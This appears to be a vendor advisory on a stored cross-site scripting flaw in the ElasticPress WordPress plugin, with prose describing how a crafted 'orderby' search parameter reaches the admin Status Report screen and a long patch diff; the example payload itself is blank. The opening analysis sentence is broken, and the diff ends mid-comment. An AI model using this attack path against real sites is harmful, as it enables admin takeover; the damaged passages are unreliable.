Published : November 20, 2026

CVE-2026-116518: ElasticPress <= 5.3.5 Unauthenticated Stored Cross-Site Scripting via 'orderby' Parameter PoC, Patch Analysis & Rule

Plugin elasticpress
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.3.5
Patched Version 5.3.6
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-116518: ElasticPress ( $error` to `’value’ => esc_html( $error )`, and adds a guard at line 88 that escapes any string field not beginning with ‘{‘. That guard is the actual XSS fix. The unsanitized input path also traces through includes/classes/Elasticsearch.php where orderby is forwarded into the ES query without whitelist validation, and the response error is stored via the ep_query_log transient by the query logging code.

An attacker sends an unauthenticated GET to a frontend search URL with a crafted `orderby` parameter, for example `?s=test&orderby=`. ElasticPress forwards the value to Elasticsearch, which rejects the malformed sort clause. The resulting error contains the attacker string. The query logger writes the error into the ep_query_log transient. No authentication is needed and no nonce is checked on the frontend search endpoint. The payload is stored for 24 hours.

The patch adds esc_html() to the error value at includes/classes/StatusReport/FailedQueries.php line 74 and adds a loop at line 88 that escapes any string value not starting with a `{` character (JSON blobs are left intact because they are pre-encoded by the backend and rendered through a separate component). Atomic Edge analysis confirms this addresses the output side of the vulnerability, which is the correct control boundary: the error text originates from Elasticsearch and cannot be safely validated at write time, so escaping at render time is the right fix. Supporting changes in includes/classes/Indexable.php (handle_prepare_document_error, stack trace capture), includes/classes/IndexHelper.php (stack_traces plumbing), and the various asset.php version bumps are orthogonal hardening. The unauthenticated orderby input itself is still forwarded to Elasticsearch unfiltered, meaning any other downstream consumer of that error text would remain exposed; the SafeQueries fix covers only the Status Report rendering path.

The impact is stored XSS in the WordPress admin context. An administrator visiting the Status Report screen executes attacker JavaScript, which can read admin cookies, exfiltrate the nonce-protected admin-ajax endpoints, create rogue administrator accounts, install malicious plugins, or modify site content. Persistence for 24 hours means a single unauthenticated GET yields 24 hours of exploitation window against every admin who opens the Status Report. This is a privilege escalation from anonymous visitor to site administrator.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/elasticpress/dist/css/instant-results-styles.asset.php
+++ b/elasticpress/dist/css/instant-results-styles.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '9c116b572962a8abf512');
+<?php return array('dependencies' => array(), 'version' => '02c48c22982a4b2d3ac8');
--- a/elasticpress/dist/js/features-script.asset.php
+++ b/elasticpress/dist/js/features-script.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-notices'), 'version' => 'b1f5cd6adf5abf1ef654');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '15a67b9ca70aadc3d255');
--- a/elasticpress/dist/js/instant-results-script.asset.php
+++ b/elasticpress/dist/js/instant-results-script.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives'), 'version' => 'eaa45816a278cd6b5d33');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives'), 'version' => '21e9a47395ac5224acb2');
--- a/elasticpress/dist/js/stats-script.asset.php
+++ b/elasticpress/dist/js/stats-script.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'e44b667054fa0742e657');
+<?php return array('dependencies' => array(), 'version' => 'dcddf781214917e05add');
--- a/elasticpress/dist/js/status-report-script.asset.php
+++ b/elasticpress/dist/js/status-report-script.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices'), 'version' => '6d0de1ba9d9ee724c3db');
+<?php return array('dependencies' => array('wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices'), 'version' => 'e9b36abe20b9a877eb41');
--- a/elasticpress/dist/js/sync-script.asset.php
+++ b/elasticpress/dist/js/sync-script.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => 'f25b1eac69aecce63256');
+<?php return array('dependencies' => array('wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '79731d78ca62e71ff754');
--- a/elasticpress/dist/js/synonyms-script.asset.php
+++ b/elasticpress/dist/js/synonyms-script.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => 'f6205f8d7b54d922459a');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '70794e6746de209e416b');
--- a/elasticpress/dist/js/weighting-script.asset.php
+++ b/elasticpress/dist/js/weighting-script.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '059abc1774915b64a562');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '4727e5778aaf68ec2c2d');
--- a/elasticpress/elasticpress.php
+++ b/elasticpress/elasticpress.php
@@ -3,7 +3,7 @@
  * Plugin Name:       ElasticPress
  * Plugin URI:        https://github.com/10up/ElasticPress
  * Description:       A fast and flexible search and query engine for WordPress.
- * Version:           5.3.5
+ * Version:           5.3.6
  * Requires at least: 6.2
  * Requires PHP:      7.4
  * Author:            10up
@@ -33,7 +33,7 @@
 define( 'EP_URL', plugin_dir_url( __FILE__ ) );
 define( 'EP_PATH', plugin_dir_path( __FILE__ ) );
 define( 'EP_FILE', plugin_basename( __FILE__ ) );
-define( 'EP_VERSION', '5.3.5' );
+define( 'EP_VERSION', '5.3.6' );

 define( 'EP_PHP_VERSION_MIN', '7.4' );

--- a/elasticpress/includes/classes/Command.php
+++ b/elasticpress/includes/classes/Command.php
@@ -1307,6 +1307,25 @@
 	}

 	/**
+	 * Output the stack traces attached to the errors of a message.
+	 *
+	 * @since 5.3.6
+	 * @param array $message Message data from IndexHelper
+	 * @return void
+	 */
+	protected function output_error_stack_traces( array $message ) {
+		foreach ( $message['errors'] ?? [] as $error => $data ) {
+			if ( empty( $data['stack_trace'] ) ) {
+				continue;
+			}
+
+			/* translators: %s: Error message */
+			WP_CLI::log( sprintf( esc_html__( 'Stack trace for: %s', 'elasticpress' ), $error ) );
+			WP_CLI::log( $data['stack_trace'] );
+		}
+	}
+
+	/**
 	 * Function used to output messages coming from IndexHelper
 	 *
 	 * @param array  $message    Message data
@@ -1328,10 +1347,12 @@
 				}

 				WP_CLI::warning( $message['message'] );
+				$this->output_error_stack_traces( $message );
 				break;

 			case 'error':
 				$this->clear_sync();
+				$this->output_error_stack_traces( $message );
 				WP_CLI::error( $message['message'] );
 				break;

--- a/elasticpress/includes/classes/ElasticPressIo.php
+++ b/elasticpress/includes/classes/ElasticPressIo.php
@@ -106,7 +106,7 @@

 		$endpoint_status = $this->get_endpoint_status( $skip_cache );

-		return $endpoint_status['avaiableServices'] ?? [];
+		return $endpoint_status['availableServices'] ?? [];
 	}

 	/**
--- a/elasticpress/includes/classes/Elasticsearch.php
+++ b/elasticpress/includes/classes/Elasticsearch.php
@@ -516,6 +516,10 @@
 			return 0;
 		}

+		if ( ! isset( $response['hits']['total'] ) ) {
+			return 0;
+		}
+
 		return $response['hits']['total'];
 	}

@@ -721,16 +725,24 @@
 	 * @param  string $index Index name.
 	 * @param  string $type Index type. Previously this was used for index type. Now it's just passed to hooks for legacy reasons.
 	 * @param  array  $document_ids Array of document ids to get.
-	 * @since  3.6.0
+	 * @param  array  $source_includes Optional. Fields to return from each document's source, e.g.
+	 *                                 `[ 'post_title', 'chunks.vector' ]`. Empty returns the whole source.
+	 *                                 Naming a field also returns values that the index keeps out of
+	 *                                 `_source`, like dense vectors in Elasticsearch 9.
+	 * @since  3.6.0, 5.3.6 added $source_includes
 	 * @return boolean|array
 	 */
-	public function get_documents( $index, $type, $document_ids ) {
+	public function get_documents( $index, $type, $document_ids, $source_includes = [] ) {
 		if ( version_compare( (string) $this->get_elasticsearch_version(), '7.0', '<' ) ) {
 			$path = apply_filters( 'ep_index_' . $type . '_request_path', $index . '/' . $type . '/_mget', $document_ids, $type );
 		} else {
 			$path = apply_filters( 'ep_index_' . $type . '_request_path', $index . '/_mget', $document_ids, $type );
 		}

+		if ( ! empty( $source_includes ) ) {
+			$path = add_query_arg( '_source_includes', implode( ',', array_map( 'rawurlencode', (array) $source_includes ) ), $path );
+		}
+
 		$request_args = [
 			'method' => 'POST',
 			'body'   => wp_json_encode(
--- a/elasticpress/includes/classes/ElasticsearchErrorInterpreter.php
+++ b/elasticpress/includes/classes/ElasticsearchErrorInterpreter.php
@@ -42,7 +42,7 @@
 				'solution' => sprintf(
 					/* translators: 1. Index name; 2. Sync Page URL */
 					__( 'It seems the %1$s index is missing. <a href="%2$s">Delete all data and sync</a> to fix the issue.', 'elasticpress' ),
-					'<code>' . $matches[1] . '</code>',
+					'<code>' . esc_html( $matches[1] ) . '</code>',
 					$sync_url
 				),
 			];
@@ -54,7 +54,7 @@
 				'solution' => sprintf(
 					/* translators: 1. Index name; 2. Sync Page URL */
 					__( 'The field %1$s was not found. Make sure it is added to the list of indexed fields and run <a href="%2$s">a new sync</a> to fix the issue.', 'elasticpress' ),
-					'<code>' . $matches[1] . '</code>',
+					'<code>' . esc_html( $matches[1] ) . '</code>',
 					$sync_url
 				),
 			];
@@ -66,21 +66,21 @@
 		if ( preg_match( '/Fielddata is disabled on text fields by default. Set fielddata=true on [(.*?)]/', $error, $matches ) ) {
 			return [
 				'error'    => 'Fielddata is disabled on text fields by default. Set fielddata=true on [???]',
-				'solution' => sprintf( $field_type_solution, $matches[1], $sync_url ),
+				'solution' => sprintf( $field_type_solution, esc_html( $matches[1] ), $sync_url ),
 			];
 		}

 		if ( preg_match( '/field [(.*?)] is of type [(.*?)], but only numeric types are supported./', $error, $matches ) ) {
 			return [
 				'error'    => 'field [???] is of type [???], but only numeric types are supported.',
-				'solution' => sprintf( $field_type_solution, $matches[1], $sync_url ),
+				'solution' => sprintf( $field_type_solution, esc_html( $matches[1] ), $sync_url ),
 			];
 		}

 		if ( preg_match( '/Alternatively, set fielddata=true on [(.*?)] in order to load field data by uninverting the inverted index./', $error, $matches ) ) {
 			return [
 				'error'    => 'Alternatively, set fielddata=true on [???] in order to load field data by uninverting the inverted index.',
-				'solution' => sprintf( $field_type_solution, $matches[1], $sync_url ),
+				'solution' => sprintf( $field_type_solution, esc_html( $matches[1] ), $sync_url ),
 			];
 		}

--- a/elasticpress/includes/classes/Feature/Facets/Types/Meta/Renderer.php
+++ b/elasticpress/includes/classes/Feature/Facets/Types/Meta/Renderer.php
@@ -233,9 +233,9 @@
 			'ep_facet_meta_value_accessible_label',
 			$item['is_selected']
 				/* translators: %s: Filter term name. */
-				? sprintf( __( 'Remove filter: %s', 'elasticpress' ), $label )
+				? sprintf( __( 'Remove filter: %s', 'elasticpress' ), wp_strip_all_tags( $label ) )
 				/* translators: %s: Filter term name. */
-				: sprintf( __( 'Apply filter: %s', 'elasticpress' ), $label ),
+				: sprintf( __( 'Apply filter: %s', 'elasticpress' ), wp_strip_all_tags( $label ) ),
 			$item
 		);

--- a/elasticpress/includes/classes/Feature/Facets/Types/PostType/Renderer.php
+++ b/elasticpress/includes/classes/Feature/Facets/Types/PostType/Renderer.php
@@ -185,9 +185,9 @@
 			'ep_facet_post_type_value_accessible_label',
 			$item['is_selected']
 				/* translators: %s: Filter term name. */
-				? sprintf( __( 'Remove filter: %s', 'elasticpress' ), $label )
+				? sprintf( __( 'Remove filter: %s', 'elasticpress' ), wp_strip_all_tags( $label ) )
 				/* translators: %s: Filter term name. */
-				: sprintf( __( 'Apply filter: %s', 'elasticpress' ), $label ),
+				: sprintf( __( 'Apply filter: %s', 'elasticpress' ), wp_strip_all_tags( $label ) ),
 			$item
 		);

--- a/elasticpress/includes/classes/Feature/InstantResults/InstantResults.php
+++ b/elasticpress/includes/classes/Feature/InstantResults/InstantResults.php
@@ -1020,7 +1020,9 @@
 	 * @since 5.3.3
 	 */
 	public function on_sync_complete( array $args ): void {
-		$network_wide = isset( $args['network_wide'] ) && ! is_null( $args['network_wide'] );
+		$network_wide = defined( 'EP_IS_NETWORK' ) && EP_IS_NETWORK
+			&& isset( $args['network_wide'] ) && ! is_null( $args['network_wide'] );
+
 		$this->epio_save_site_search_template( $network_wide );
 	}

--- a/elasticpress/includes/classes/Feature/WooCommerce/Products.php
+++ b/elasticpress/includes/classes/Feature/WooCommerce/Products.php
@@ -855,11 +855,32 @@
 		foreach ( $supported_taxonomies as $taxonomy ) {
 			$term = $query->get( $taxonomy, false );

-			if ( ! empty( $term ) ) {
-				$tax_query[] = array(
-					'taxonomy' => $taxonomy,
-					'field'    => 'slug',
-					'terms'    => (array) $term,
+			if ( empty( $term ) ) {
+				continue;
+			}
+
+			$tax_query_defaults = [
+				'taxonomy' => $taxonomy,
+				'field'    => 'slug',
+			];
+
+			$terms_per_clause = [ (array) $term ];
+
+			if ( is_string( $term ) ) {
+				$tax_object = get_taxonomy( $taxonomy );
+				if ( $tax_object && ! empty( $tax_object->rewrite['hierarchical'] ) ) {
+					$term = wp_basename( $term );
+				}
+
+				$terms_per_clause = str_contains( $term, '+' )
+					? array_chunk( array_map( 'trim', preg_split( '/[+]+/', $term ) ), 1 )
+					: [ array_map( 'trim', preg_split( '/[,]+/', $term ) ) ];
+			}
+
+			foreach ( $terms_per_clause as $terms ) {
+				$tax_query[] = array_merge(
+					$tax_query_defaults,
+					[ 'terms' => $terms ]
 				);
 			}
 		}
--- a/elasticpress/includes/classes/IndexHelper.php
+++ b/elasticpress/includes/classes/IndexHelper.php
@@ -434,7 +434,13 @@
 			}
 		}

-		if ( $this->index_meta['found_items'] && $this->index_meta['offset'] < $this->index_meta['found_items'] ) {
+		/*
+		 * An empty batch means there is nothing left to index, even if the offset did not reach the
+		 * total, e.g., because objects were created or deleted while the sync was running.
+		 */
+		$has_objects = ! empty( $this->current_query['objects'] );
+
+		if ( $has_objects && $this->index_meta['found_items'] && $this->index_meta['offset'] < $this->index_meta['found_items'] ) {
 			$this->index_next_batch();
 		} else {
 			$this->index_cleanup();
@@ -640,9 +646,15 @@

 					if ( is_object( $return ) && ! empty( $return->error ) ) {
 						if ( ! empty( $return->error->reason ) ) {
-							$failed_objects[ $object->ID ] = (array) $return->error;
+							// Same shape as a bulk response item, which output_index_errors() expects.
+							$failed_objects[ $object_id ] = [
+								'index' => [
+									'_id'   => $object_id,
+									'error' => (array) $return->error,
+								],
+							];
 						} else {
-							$failed_objects[ $object->ID ] = null;
+							$failed_objects[ $object_id ] = null;
 						}
 					}

@@ -703,7 +715,8 @@

 				$this->queue_message( $wp_error_messages, 'warning' );
 			} elseif ( count( $failed_objects ) ) {
-				$errors_output = $this->output_index_errors( $failed_objects );
+				$stack_traces  = [];
+				$errors_output = $this->output_index_errors( $failed_objects, $stack_traces );

 				$this->index_meta['current_sync_item']['synced'] += count( $queued_items ) - count( $failed_objects );

@@ -716,7 +729,7 @@
 				$this->index_meta['current_sync_item']['failed'] += count( $failed_objects );
 				$error_type                                       = ! empty( $this->args['stop_on_error'] ) ? 'error' : 'warning';

-				$this->queue_message( $errors_output, $error_type );
+				$this->queue_message( $errors_output, $error_type, '', $stack_traces );
 			} else {
 				$this->index_meta['current_sync_item']['synced'] += count( $queued_items );
 			}
@@ -1022,12 +1035,14 @@
 	 * Output a message.
 	 *
 	 * @since 4.0.0
+	 * @since 5.3.6 Added `$stack_traces`
 	 * @param string|array $message_text Message to be outputted
 	 * @param string       $type         Type of message
 	 * @param string       $context      Context of the output
+	 * @param array        $stack_traces Optional. Stack traces keyed by error message. Default empty array.
 	 * @return void
 	 */
-	protected function output( $message_text, $type = 'info', $context = '' ) {
+	protected function output( $message_text, $type = 'info', $context = '', array $stack_traces = [] ) {
 		if ( $this->index_meta ) {
 			Utilsupdate_option( 'ep_index_meta', $this->index_meta );
 		} else {
@@ -1043,7 +1058,7 @@
 		];

 		if ( in_array( $type, [ 'warning', 'error' ], true ) ) {
-			$message['errors'] = $this->build_message_errors_data( $message_text );
+			$message['errors'] = $this->build_message_errors_data( $message_text, $stack_traces );
 		}

 		if ( is_callable( $this->args['output_method'] ) ) {
@@ -1077,15 +1092,22 @@
 	 * Output index errors of failed objects.
 	 *
 	 * @since 4.0.0
+	 * @since 5.3.6 Added `$stack_traces`
 	 * @param array $failed_objects Failed objects
+	 * @param array $stack_traces   Optional. Filled with the stack traces of the errors that have one, keyed by error message.
 	 */
-	protected function output_index_errors( $failed_objects ) {
+	protected function output_index_errors( $failed_objects, array &$stack_traces = [] ) {
 		$indexable = Indexables::factory()->get( $this->index_meta['current_sync_item']['indexable'] );

 		$error_text = [];

 		foreach ( $failed_objects as $object ) {
-			$error_text[] = ! empty( $object['index'] ) ? $object['index']['_id'] . ' (' . $indexable->labels['singular'] . '): [' . $object['index']['error']['type'] . '] ' . $object['index']['error']['reason'] : (string) $object;
+			$message      = ! empty( $object['index'] ) ? $object['index']['_id'] . ' (' . $indexable->labels['singular'] . '): [' . $object['index']['error']['type'] . '] ' . $object['index']['error']['reason'] : (string) $object;
+			$error_text[] = $message;
+
+			if ( ! empty( $object['index']['error']['stack_trace'] ) ) {
+				$stack_traces[ $message ] = $object['index']['error']['stack_trace'];
+			}
 		}

 		return $error_text;
@@ -1454,15 +1476,18 @@
 	 * Add a message to the queue
 	 *
 	 * @since 4.7.0
+	 * @since 5.3.6 Added `$stack_traces`
 	 * @param string|array $message_text Message to be outputted
 	 * @param string       $type         Type of message
 	 * @param string       $context      Context of the output
+	 * @param array        $stack_traces Optional. Stack traces keyed by error message. Default empty array.
 	 */
-	protected function queue_message( $message_text, string $type, string $context = '' ) {
+	protected function queue_message( $message_text, string $type, string $context = '', array $stack_traces = [] ) {
 		$this->index_meta['messages_queue'][] = [
-			'text'    => $message_text,
-			'type'    => $type,
-			'context' => $context,
+			'text'         => $message_text,
+			'type'         => $type,
+			'context'      => $context,
+			'stack_traces' => $stack_traces,
 		];
 	}

@@ -1487,7 +1512,7 @@

 		for ( $i = 0; $i < $messages_count; $i++ ) {
 			$next_message = array_shift( $this->index_meta['messages_queue'] );
-			$this->output( $next_message['text'], $next_message['type'], $next_message['context'] );
+			$this->output( $next_message['text'], $next_message['type'], $next_message['context'], $next_message['stack_traces'] ?? [] );
 		}
 	}

@@ -1495,10 +1520,12 @@
 	 * Get data for a given error message(s)
 	 *
 	 * @since 5.0.0
-	 * @param string|array $messages Messages
+	 * @since 5.3.6 Added `$stack_traces`
+	 * @param string|array $messages     Messages
+	 * @param array        $stack_traces Optional. Stack traces keyed by error message. Default empty array.
 	 * @return array
 	 */
-	protected function build_message_errors_data( $messages ): array {
+	protected function build_message_errors_data( $messages, array $stack_traces = [] ): array {
 		$messages          = (array) $messages;
 		$error_interpreter = new ElasticPressElasticsearchErrorInterpreter();

@@ -1514,6 +1541,11 @@
 			} else {
 				++$errors_list[ $error['error'] ]['count'];
 			}
+
+			// Messages can share a key, so keep the first stack trace even if an earlier message had none.
+			if ( empty( $errors_list[ $error['error'] ]['stack_trace'] ) && ! empty( $stack_traces[ $message ] ) ) {
+				$errors_list[ $error['error'] ]['stack_trace'] = $stack_traces[ $message ];
+			}
 		}
 		return $errors_list;
 	}
--- a/elasticpress/includes/classes/Indexable.php
+++ b/elasticpress/includes/classes/Indexable.php
@@ -258,18 +258,61 @@
 	}

 	/**
+	 * Log an error thrown while preparing a document and build its sync error.
+	 *
+	 * PHP no longer reports caught errors, so this logs the full error when WP_DEBUG and WP_DEBUG_LOG are on and keeps its file, line, and stack trace.
+	 *
+	 * @since 5.3.6
+	 * @param Throwable $th        Error thrown while preparing the document.
+	 * @param int        $object_id ID of the object being prepared.
+	 * @return array Sync error with the type, the reason (message with file and line), and the stack trace.
+	 */
+	protected function handle_prepare_document_error( Throwable $th, $object_id ): array {
+		if ( defined( 'WP_DEBUG' ) && WP_DEBUG && defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
+			// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+			error_log( sprintf( 'ElasticPress: could not prepare %s %d for indexing. %s', $this->slug, $object_id, $th ) );
+		}
+
+		// Absolute paths are long and expose the server layout in the sync log.
+		$abspaths = [ ABSPATH, wp_normalize_path( ABSPATH ) ];
+
+		return [
+			'type'        => 'prepare_document_error',
+			'reason'      => sprintf( '%s in %s:%d', $th->getMessage(), str_replace( $abspaths, '', $th->getFile() ), $th->getLine() ),
+			'stack_trace' => str_replace( $abspaths, '', $th->getTraceAsString() ),
+		];
+	}
+
+	/**
 	 * Index an object within the indexable. This calls prepare_document
 	 *
 	 * @param  int     $object_id Object to index.
 	 * @param  boolean $blocking Blocking HTTP request or not.
 	 * @since  3.0
+	 * @since  5.3.6 Returns an object with an `error` property when preparing the document fails.
 	 * @return object|boolean
 	 */
 	public function index( $object_id, $blocking = false ) {
+		/**
+		 * Fires before documents are prepared to be indexed, in single and bulk indexing.
+		 *
+		 * Lets code that adds data to documents load what it needs for all objects at once,
+		 * instead of one request per object in `prepare_document()`.
+		 *
+		 * @hook ep_pre_prepare_documents
+		 * @since 5.3.6
+		 * @param {array}  $object_ids IDs of the objects about to be prepared
+		 * @param {string} $slug       Indexable slug
+		 */
+		do_action( 'ep_pre_prepare_documents', [ $object_id ], $this->slug );
+
 		try {
 			$document = $this->prepare_document( $object_id );
 		} catch ( Throwable $th ) {
-			return false;
+			// Same shape as an Elasticsearch error response, so syncs count the object as failed.
+			return (object) [
+				'error' => (object) $this->handle_prepare_document_error( $th, $object_id ),
+			];
 		}

 		if ( false === $document ) {
@@ -347,6 +390,9 @@
 	 * @return WP_Error|array
 	 */
 	public function bulk_index( $object_ids ) {
+		/** This action is documented in includes/classes/Indexable.php */
+		do_action( 'ep_pre_prepare_documents', $object_ids, $this->slug );
+
 		$body = '';

 		$non_es_errors = [];
@@ -364,10 +410,7 @@
 				$non_es_errors[] = [
 					'index' => [
 						'_id'   => absint( $object_id ),
-						'error' => [
-							'type'   => 'prepare_document_error',
-							'reason' => $th->getMessage(),
-						],
+						'error' => $this->handle_prepare_document_error( $th, $object_id ),
 					],
 				];
 				continue;
@@ -416,6 +459,9 @@
 	 * @return array[WP_Error|array] The return of each request made.
 	 */
 	public function bulk_index_dynamically( $object_ids ) {
+		/** This action is documented in includes/classes/Indexable.php */
+		do_action( 'ep_pre_prepare_documents', $object_ids, $this->slug );
+
 		$documents = [];

 		$non_es_errors = [];
@@ -433,10 +479,7 @@
 				$non_es_errors[] = [
 					'index' => [
 						'_id'   => absint( $object_id ),
-						'error' => [
-							'type'   => 'prepare_document_error',
-							'reason' => $th->getMessage(),
-						],
+						'error' => $this->handle_prepare_document_error( $th, $object_id ),
 					],
 				];
 				continue;
--- a/elasticpress/includes/classes/Indexable/Post/SyncManager.php
+++ b/elasticpress/includes/classes/Indexable/Post/SyncManager.php
@@ -574,8 +574,6 @@
 	 * @since  4.0.0
 	 */
 	public function action_edited_term( $term_id, $tt_id, $taxonomy ) {
-		global $wpdb;
-
 		if ( $this->kill_sync() ) {
 			return;
 		}
@@ -598,22 +596,20 @@
 			}
 		}

-		// Find ID of all attached posts (query lifted from wp_delete_term())
-		$object_ids = (array) $wpdb->get_col( // phpcs:disable WordPress.DB.DirectDatabaseQuery
-			$wpdb->prepare( "SELECT object_id FROM {$wpdb->term_relationships} WHERE term_taxonomy_id = %d", $tt_id )
-		);
+		$per_page = IndexHelper::factory()->get_index_default_per_page();
+
+		// Without ep_skip_action_edited_term callbacks, which receive every object ID, one more ID than
+		// the per-cycle limit is enough to know whether the term is skipped.
+		$limit = has_filter( 'ep_skip_action_edited_term' ) ? 0 : max( 0, $per_page ) + 1;
+
+		// Find ID of all attached posts
+		$object_ids = Utilsget_term_object_ids( [ $term_id ], $taxonomy, $limit );

 		// If the current term is not attached, check if the child terms are attached to the post
 		if ( empty( $object_ids ) ) {
 			$child_terms = get_term_children( $term_id, $taxonomy );
-			if ( ! empty( $child_terms ) ) {
-				$in_id      = join( ',', array_fill( 0, count( $child_terms ), '%d' ) );
-				$object_ids = (array) $wpdb->get_col( // phpcs:disable WordPress.DB.DirectDatabaseQuery
-					$wpdb->prepare(
-						"SELECT object_id FROM {$wpdb->term_relationships} WHERE term_taxonomy_id IN ( {$in_id} )", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
-						$child_terms
-					)
-				);
+			if ( ! empty( $child_terms ) && ! is_wp_error( $child_terms ) ) {
+				$object_ids = Utilsget_term_object_ids( $child_terms, $taxonomy, $limit );
 			}
 		}
 		if ( ! count( $object_ids ) ) {
@@ -621,7 +617,7 @@
 		}

 		// If we have more items to update than the number set as Content Items per Index Cycle, skip it.
-		$should_skip = count( $object_ids ) > IndexHelper::factory()->get_index_default_per_page();
+		$should_skip = count( $object_ids ) > $per_page;

 		/**
 		 * Filter to allow skipping this action in case of custom handling
--- a/elasticpress/includes/classes/Indexable/Term/Term.php
+++ b/elasticpress/includes/classes/Indexable/Term/Term.php
@@ -11,6 +11,7 @@
 use WP_Term_Query;
 use ElasticPressElasticsearch;
 use ElasticPressIndexable;
+use ElasticPressUtils;

 if ( ! defined( 'ABSPATH' ) ) {
 	// @codeCoverageIgnoreStart
@@ -536,22 +537,18 @@
 	/**
 	 * Prepare object IDs to send to ES
 	 *
+	 * Object IDs are fetched in chunks, paginating by object ID, so terms with many objects
+	 * do not load every relationship row (and cache the full list) in memory at once.
+	 *
 	 * @param  int    $term_id Term ID.
 	 * @param  string $taxonomy Term taxonomy.
 	 * @since  3.1
 	 * @return array
 	 */
 	public function prepare_object_ids( $term_id, $taxonomy ) {
-		$ids        = [];
-		$object_ids = get_objects_in_term( [ $term_id ], [ $taxonomy ] );
-
-		if ( ! empty( $object_ids ) && ! is_wp_error( $object_ids ) ) {
-			$ids['value'] = array_map( 'absint', array_values( $object_ids ) );
-		} else {
-			$ids['value'] = 0;
-		}
+		$object_ids = Utilsget_term_object_ids( [ $term_id ], (string) $taxonomy );

-		return $ids;
+		return [ 'value' => ! empty( $object_ids ) ? $object_ids : 0 ];
 	}

 	/**
--- a/elasticpress/includes/classes/Screen/StatusReport.php
+++ b/elasticpress/includes/classes/Screen/StatusReport.php
@@ -245,7 +245,8 @@
 			return $value ? 'true' : 'false';
 		}

-		return (string) $value;
+		// Values may be escaped for the HTML view, but this report is plain text
+		return wp_specialchars_decode( (string) $value, ENT_QUOTES );
 	}

 	/**
--- a/elasticpress/includes/classes/StatusReport/FailedQueries.php
+++ b/elasticpress/includes/classes/StatusReport/FailedQueries.php
@@ -74,7 +74,7 @@
 			$fields = [
 				'error'                => [
 					'label' => __( 'Error', 'elasticpress' ),
-					'value' => $error,
+					'value' => esc_html( $error ),
 				],
 				'recommended_solution' => [
 					'label' => __( 'Recommended Solution', 'elasticpress' ),
@@ -88,6 +88,11 @@
 					continue;
 				}

+				// Strings not starting with `{` are rendered as HTML, so they need escaping
+				if ( is_string( $value ) && 0 !== strpos( $value, '{' ) ) {
+					$value = esc_html( $value );
+				}
+
 				$fields[ $field ] = [
 					'label' => $labels[ $field ] ?? $field,
 					'value' => $value,
--- a/elasticpress/includes/utils.php
+++ b/elasticpress/includes/utils.php
@@ -977,3 +977,177 @@

 	return array_values( array_filter( $taxonomy_object->object_type, 'post_type_exists' ) );
 }
+
+/**
+ * Field types the feature settings screen can render.
+ *
+ * Plugins that add feature settings can check this before using a newer type, and fall back to
+ * an older one (for example `select` instead of `combobox`). A plugin that renders its own type
+ * with the `ep.Features.Control` JavaScript filter adds it here with `ep_settings_field_types`.
+ *
+ * @since 5.3.6
+ * @return string[]
+ */
+function get_settings_field_types(): array {
+	$types = [ 'checkbox', 'combobox', 'hidden', 'markup', 'multiple', 'number', 'radio', 'select', 'text', 'textarea', 'toggle', 'url' ];
+
+	/**
+	 * Filter the field types the feature settings screen can render.
+	 *
+	 * @since 5.3.6
+	 * @hook ep_settings_field_types
+	 * @param {string[]} $types Field types.
+	 * @return {string[]} Filtered field types.
+	 */
+	return apply_filters( 'ep_settings_field_types', $types );
+}
+
+/**
+ * Get the IDs of the objects attached to one or more terms of a taxonomy.
+ *
+ * Runs the same query as get_objects_in_term(), paginated by object ID, so terms with many
+ * objects do not load every relationship row (and cache the full list) in memory at once.
+ *
+ * @since 5.3.6
+ * @param int[]  $term_ids Term IDs.
+ * @param string $taxonomy Taxonomy name.
+ * @param int    $limit    Maximum number of object IDs to return, or 0 for all of them. When several
